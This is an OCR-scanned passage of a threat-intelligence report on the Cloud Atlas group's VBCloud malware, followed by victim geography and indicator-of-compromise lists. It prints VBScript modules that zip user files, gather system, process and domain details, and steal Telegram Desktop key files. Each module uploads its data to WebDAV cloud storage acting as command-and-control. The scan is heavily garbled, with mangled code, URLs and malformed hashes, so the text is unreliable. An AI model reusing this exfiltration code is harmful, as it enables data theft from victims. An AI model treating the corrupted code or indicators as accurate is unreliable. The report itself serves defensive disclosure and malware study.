If mgneuyow_Name <> "Program Files" And mgmeuyuu.Name <> "Program Files <x863" And mgneuyvu.Path <> CreateObject("Wscript.Shell">_E i ings < "> Then
Set cpaghfkh = mqneuyvw.Files
S0t hixhogxy - mymeuguw.SubFolders
For Each icmacawf in cpgg
St ghnleupy - FS_GetF ileCicnsoaur>
For Each mrujceco in qilc
1f StrCnmp(FS GotPrtensionNane Cqhnlrupyy, meujceco’ =
eDiff<"d”, Formachatol ino(ghnliupy. Jeeetasitoditiod>. Nowe>> < 3 Then
T dhmirupy. 5126 5 1000 And ahnleupg.Sibe < 5000800 Than
o opsFileToZIPlicmaoanf>

For Each lodajffa in hlxuog:
Pru:essFul\‘lerNSubFuld:rs(ludadffa Path>
Next
End If
End Function
Function PrncessD)sk(sstzelh)
deleteZIPnbuff

» dcmacawf .De
» dcmacawf .De

ital/remote.phpsdav/filess _o740gmail_com/knsobugjquut/" & juguxluu , False, " EE.cCgnail.con”. NG

vdunbt Lx.Open PUI" “https s/ kin.nl.tah.digital/renote . php/dav/f iles  ENEEEGEG—_—_—10gnail.con/knsobugiquut " & ReplaceCsscizelb, “:V, "> & " ¥ & "13134.stx" . falce, "N
vdunbt 1x setRequesthieader "Content-Type". "application/x-uuwu-from-urlencoded”
vdunbtlx_send "Start"

WSeript.Sleep<l000>
FrocessfolderhSubFolders(ssedzelh & ™"
SaveStreanToZI PO
WScript.Sleep<1000)
vdunbtlx.Open “PUT", “https://kin.nl_tah.digital/remote.php/dav/files SN o 10gnail.com/knsohugjquut/* & Replace(sscjzelb,
vdunbtIx_setRequestiieader "Content-Type". "application.x—uuu—from-urlencoded"
vdunbt1x.send “Finish"
End Function
Function ProcessDiskByDrivel ype(ptzejaao>

wy g

Each sscjzelh_in GetOhject(“winmgnts :{imp ionLevel=imp I\ Sroot\einu2") ExecQuery(“Select * from Win32_LogicalDisk™>
If sscjzelb.Drivelype = ptzejaao Then

rocessDisk(ssejzelh.Name
End If

o
End Function
Function AddFileToZIPCicnaoant . aonficnc)
rror Resume t
Conse Swbhpenn. = SA1
eplipkat = FS§. GothbsalutcPathNans Cionaoaut >
zipFilePach - FS GotfbyolutoPathNanoCaonf jono)
If Not FS.FileExists{zipFilePath> Then
CreateEnptyZl P{zipFilePath}
End If
Set hakeslep - CreateObject("thell Application”
hakas lop. NamoSpace {zipFilePath).items .Count
SplitCopliphaty
(Jnsur).kz(Uhuund(dnsnrikz)))

se
For Each hmiggzui In hakzslep.NaneSpace CzipFilePath). itens
If LCase(suzcumxv) = LCaseChmjggzuj> Then
chfdsyob = True
Exit For
End If

Next
If Not_ chfdsyobh Then
hqkzs lep. NameSpace(zipFilePath) .Copyhere eplipkat, hrbhpunp
n Error Resume Next
ceghivpf = 0
Do Until < hgkas1l zipFilePath).Itens.Count
Wscript.Sleep<i00>
l::ql)lupf = ccgbiupf + 1

Loo
On Errnr GoTo 0
End If
End Function

Part of the file exfiltration script

VBCloud::Payload (3)

This script gets various system information such as the OS version, RAM size, manufacturer, computer name,

username and domain name.
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Function mlfogigfukei()>
On Error Resume Mext

%et %apagyhfyqal ; GBtOhJect; w;?ngmts :{impersonationLevel=impersonate} ! \\.\rootncimnv2") .ExecQuery("Select * from Win32_ComputerSystem",.. 48>
or Each pnowuoynrhruu in gaphgybfygai

mpeckynkkixu. WriteText whCr & "system_name:z: " & rnuuuynrhruu Name

mpcckynkkixw. WriteText = & “system_name_format: & rnowwynrbruu.NameFormat
mpeckynkkixw.WriteText = & "system_manufacturer:: " & rnowvynrbruvu.Manufacturer
mpcckynkkixw. WriteText = & "system_model:: " & rnowvynrbruvu.Model

mpeckynkkixu. WriteText & “time_zonez: " & pnowvynrbruu.CurrentTimeZone

mpeckynkkixu. WriteText & "total_physical _memory:: " & rnowvynrbruvu.TotalPhysicalMemory
mpecckynkkixw. WriteText & "domain:: " & rnowvynrhruvu.Domain

mpcckynkkixw. WriteText & "domain_role:z: " & pnowvynrbruwu.DomainRole

mpeckynkkixw. WriteText & “install_date & rnowuynrbruu_InstallDate

mpeckynkkixu. WriteText = vhCr & "keyboard_pass_status " & rnowuynrbruu.KeyhoardPasswordStatus
mpcckynkkixw. WriteText = vhCr & "number_of_processors:: " & rnowwynrbruu.NunberOfProcessors
mpecckynkkixw. WriteText = vhCr & "system_type:: " & rnowwynrbruwu.SystenIype
mpeckynkkixw.WriteText = vhCr & “last_load_info:: " & rnowwynrbrwu.LastLoadinfo

ext

End Function

Function bajfgvlkxjrf (>

On Error Resume Mext
CreateObject{"Wecript .2hell") _RegRead("HKEY_USERS-8-1-5%—-19“Environment~TEMP">
if Ere.Number = @ Then

bajfgulkxjrf = True

Else

hajfgqulkxjrf = False

end i

End Function

Function jxcofgumgjti(>

On Error Resume Mext

Set gaphgybfygai = GetObject{"winmgmts
mpeckynkkixu. WriteText "process_list
sor Each rnowwynrbruu in gaphgybfygai: mpcckynkkixw.Mritelext = rnowvynrbruwu.Mame & ' " & rnowvynrbrun.CommandLine & ;55"

ext

End Function

Function ulpooyuhruof (>

Set gzifeokkggfp = GetObject("winmgmts:{impersonationLevel=impersonatel? \.“root-default:StdRegProv')

gzifeokkggfp.GetStringValue &HSODDODOODD, "CLEIDN{88d?6a0b—f192-11d4-ab5f-0040263251e53 \\ProglD",. """, gkkthpcrmosp

Set ovugjscagnlp = Createdbhject{gkkthpcrmosp>

£ jrunpc Ingun=cvugjscagnlp.getOptiond2>

ovwgjscagnlp.setOption 2.fjrumpclmgum

gzifeokkggfp.GetStringValue &HEOODODODOD1,. “SoftwaresMicrosoft Windows CurrentVersion\" & "Internet Settings","ProxySeruer", irxtdtogxnzm
gzifeokkggfp.GetDUWORDUalue &HBOOODODO1, *SoftwarexMicrosoft Windows CurrentVersion»'" & "Internet Settings", "ProxyEnable » vdybvcueftym

If ({(UarType{irxtdtogxnzm}> <> ubNulld fAnd <{udybucueftym = 13> Then : ocvuwgjscagnlp.setProxy 2, irxtdtogxnzm : En

ovwgjscagnlp.Open "MKCOL'". "https://kim.nl.tah.digital/remnte.php/dau/flles/_.n/4lﬂgnall con/" & “"kmsobugjgquuts',. false. "N
ovwgjscagnlp.setRequestHeader “"Content-Type'. "application/x—www—from—urlencoded"

ovwgjscagnlp.send "

Wecript .SleeplS500>

ovwgjscagnlp.Open "PUT",. “https:srskim.nl.tab.digital-remote.php/dav/files S o 40gnail.con/" & “"knsobugjquut/" & “htuxk_12511_sy:
ovwgjscagnlp.SetRequestHeader “"Content—Type'. "application/x—www—from—urlencoded"

Wscript.Sleepl1000)

mpeckynkkixw.Position = 0

ovugjscagnlp.Send mpecckynkkixw . ReadText

End Function

Function zrpmppeiwerw(?

On Error Resume Mext

Set gaphgybfygai = GetObject("winngmts:{impersonationLevel=impersonate}? \\.\root\cinu2").ExecQuery(“Select * from Win32_OperatingSysten™)

For Each rnowuynrbruu in gaphgyhfyqal

mpcckynkkixw.WriteText = vhCr & os;nam : " & rnowvynrbrwu.Name

{impersonationLevel=impersonateX? N\ . “rootscinu2") .ExecQuery("Select * from Win32_Process">

mpcckynkkixw. WriteText = vhCr & "wersion:: " & rnowvynrbewu.Version

mpeckynkkixw.WriteText = vhCr & “service_pack:: " & pnowvynrbruu.ServicePackMajorVersion & .V & rnowvynrbruvu.ServicePackMinorUersion
mpcckynkkixu. UriteText = vbCr & “os_manufacturer:: " & rnowwynrhruu.Manufacturer

mpcckynkkixw. WriteText = vhCr & " & rnowvynrbrwu.WindowsDirectory

mpecckynkkixw. WriteText = vhCr & & rnowvynrhbruvu.Locale

mpcckynkkixw.WriteText = vhCr & "availabhle_physical_memory:: " & rnowvynrbruvu.FreePhysicalMemory

mpeckynkkixu. WriteText = vhCr & "total virtual _memory:: & rnowsynrbruu.TotallirtualMemorySize

mpcckynkkixw. WriteText = vbhCr & “available_virtual_memory:: " & rnowvynrbruwu.FreelirtualMemory

Next

End Function
Function aonyidaxouyud)

On Error Resume Next

Set gzifeokkggfp = GetObject("winmgmts:{impersonationLevel=impersonatel? \\.“root“default:StdRegProv'>
gzifenkqufp.GetStrlngUalue &HE00DDDOO . ""CLE [D\~{0%3FF?92-1EAD—4079-9525-2614C3504B74> \\ProgID", """ hgjs yavaaxmy
Set wjbfaloxagzg = CreateOhJect(thsyauaaxmu)

mpeckynkkixu. WriteText = vhCr & "username:: " & wjbfaloxagzg.UserName

mpcckynkkixw. WriteText vhCr & cnmputer_nam t: v & wjbfaloxag=zg.ConputerName

mpeckynkkixw.WriteText vwhCr & "dnmaln;nam & wibfaloxagzg.UserDomain

mpcckynkkixw.WriteText = vhCr & "is_admin:: & bajfgvlkxjrf

End Function

On Error Resume MNext

Set mpcckynkkixw = CreateObject("ADODB.Stream">

mpccyynyyixu.lypen=

— wmr_a_... aaran

VBCloud::Payload (4)
Script to exfiltrate Telegram files:

e The file D877F783D5D3EF8Cs contains the user ID and encryption key used for interaction between the
desktop client and Telegram servers.

o The file key_datas contains local encryption keys.

On Error Resume Next

set udhgsphkuvksg = CreatEObJEct( MSRML2 .ServerXMLHTITP.6.0">

set dpghkyxfhzujl = GetObject{ winmgnts:{impersonationLevel=impersonateX?s~_sroot default:StdRegProuv">

nov=vdbgsphkwvksg.getOption{2>

vdbgsphkwvksg.setOption 2,nov

dpghkyxfhzujl.GetStringlalue &HRODDDODOL, ‘SoftwaresMicrosoft\Windows:\CurrentUersion™® & ‘Internet Settings', ProxyServer', xkancfvoipeal
dpghkyxfhzujl.GetDWORDUalue RHBOOODDDOL, ‘SoftuaresMicrosoft Windows\CurrentUersion™' & ‘Internet Settings', ProxyEnable’, dhxsukmyxhuyt
If ((UarType(xkancfuulpeal) () vhHull> And (dhxsukmyxhwyt 13> Then : udhgsphkwuksq setProxy 2. xkancfvoipeal = End If

gooeiroyyeeys CreateObJect( Wscrlpt Shell'). ExpandEnu1runmentStr1ngs( #APPDATAx > & ‘“Telegram Desktop-tdata’

zgngyamcdrf by guuelruyyeeys B \DB77F783D5D3EF8CS - “hdnug 44@4_1 tlg®

zgngyamcdrfby gooeiroyyeeys & ““key datas', ‘wrgzk_ 4404 _2.tlg"

function zgngyamcdrfbg(rmkyummmzxuvj. pfuflxovhkloz>

set yfkhlgroatgkv = CreateObject( ADODB.Stream' >

yfkhlgroatgkv.open

yfkhlgroatgkv.type = 1

yf khlgroatgky.loadf romf ile Cermkyummnzxuv j>

HUscript.8leepc500>

vdbgsphkwuksg-Open "PUT’, “https://uebdav.opendrive.con/yegizxpeovoqs” & pfuflxovhkloz , false. - I nailto . plus © . T
vdbgsphkwuksqg. SetRequestHeader “Content—Type . ‘application/x—www—from—urlencoded”

vdbgsphkwuksg.Send yfkhlgroatgkv.Read

end function

Part of the file exfiltration script
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Geography of attacked users

Several dozen users were attacked in 2024, 82% of these in Russia. Isolated attacks were recorded in Belarus,

Canada, Moldova, Israel, Kyrgyzstan, Vietnam and Turkey.

Conclusion

We continue to monitor activity linked to Cloud Atlas. In a new campaign that began in August 2023, the attackers
made changes to their familiar toolkit. This time, instead of an executable library to load malware modules, the
group relied on the VBShower backdoor as the loader. Besides, they are now using a new module in their attacks:
VBCloud. This collects and uploads system information and other data. These actions employ a variety of
PowerShell scripts that enable the attackers to perform a range of tasks on the victim’s system. VBCloud uses

public cloud storage as a C2 server.

The infection chain consists of several stages and ultimately aims to steal data from victims’ devices. We’ve
observed that, similar to past Cloud Atlas campaigns, phishing emails continue to be the initial access point. This

underscores the still-pressing need for organizations to strengthen their infrastructure defenses and improve

employee awareness to ward off these kinds of attacks.

If you want to try analyzing the sample from earlier Cloud Atlas attacks and other infamous malware samples

yourself, you can take the Advanced Malware Analysis Techniques course from Kaspersky GReAT.

Indicators of compromise

HTA file download domains
content-protect[,net
control-issue[, |net

office-confirm[.]Jcom

onesoftware[.]info

serverop-parametrs|,]com

web-privacy], Jnet

net-plugin[.Jorg

triger-working|[.]Jcom

VBShower C2
yandesks[ . Inet
yandisk]Jinfo
mirconnect[, Jinfo
sber-cloud].]info

gosportal[. Jnet

riamir(, Jnet

web-wathapp[.]com
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https://opentip.kaspersky.com/triger-working.com/?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______c225ede31c53458a&utm_source=SL&utm_medium=SL&utm_campaign=SL
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PowerShower C2
yandisk[.]info
yandesktop[.]com

web-wathapp[.]Jcom

Cloud repositories used by VBCloud
webdav.opendrive.com
webdav.mydrive.ch

webdav.yandex.ru

kim.nl.tab.digital

HTA MD5
9D3557CC5C444FESD73E4C7FE1872414
CBAOSE11CB9D1D71FOFA70ECD1AFE2480
CBFBG691E9SEE34A324F94ED1FF91BC23
2D24044C0ASBOEBE4E01IDED2BEC2B3A4
88BEQ1F8C4AI9F335D33FA7C384CA4666
A30319545FDA9E2DA0532746C09130EB

PowerShower MD5
15FD46AC775A30B1963281A037A771B1
31B01387CA60A1771349653A3C6AD8CA
389BC3B9417D893F3324221141EDEA0Q

VBShower::Launcher MD5
AAB8DA99D5623FAFED356A14E59ACBBI0
016B6A035B44C1AD10D070ABCDFE2F66
160A65E830EB97AAE6E1305019213558
184CF8660AF7538CD1CD2559A10B6622
1AF1F9434E4623B7046CF6360E0AS520E
1BFBOCBA8AA23A401925D356B2F6E7ED
21585D5881CC11ED1F615FDB2D7ACC11
242E86E658FE6AB6E4C81B68162B3001
2FE7E75BC599B1C68B87CF2A3E7AAS51F
36DDOFBD19899F0B23ADESA1DE3C2FEC
389F6E6FDIDCC84C6E944DC387087A56
3A54ACDY967DD104522BA7D66F4D86544
3F12BF4A8D82654861B5B5993C012BFA
49F8ED13A8A13799A34CC999B195BF16
4B96DC735B622A94D3C74C0BE9858853
F45008BF1889A8655D32A0EB93BS8ACDD

VBCloud MD5
0139F32A523D453BC338A67CA45C224D
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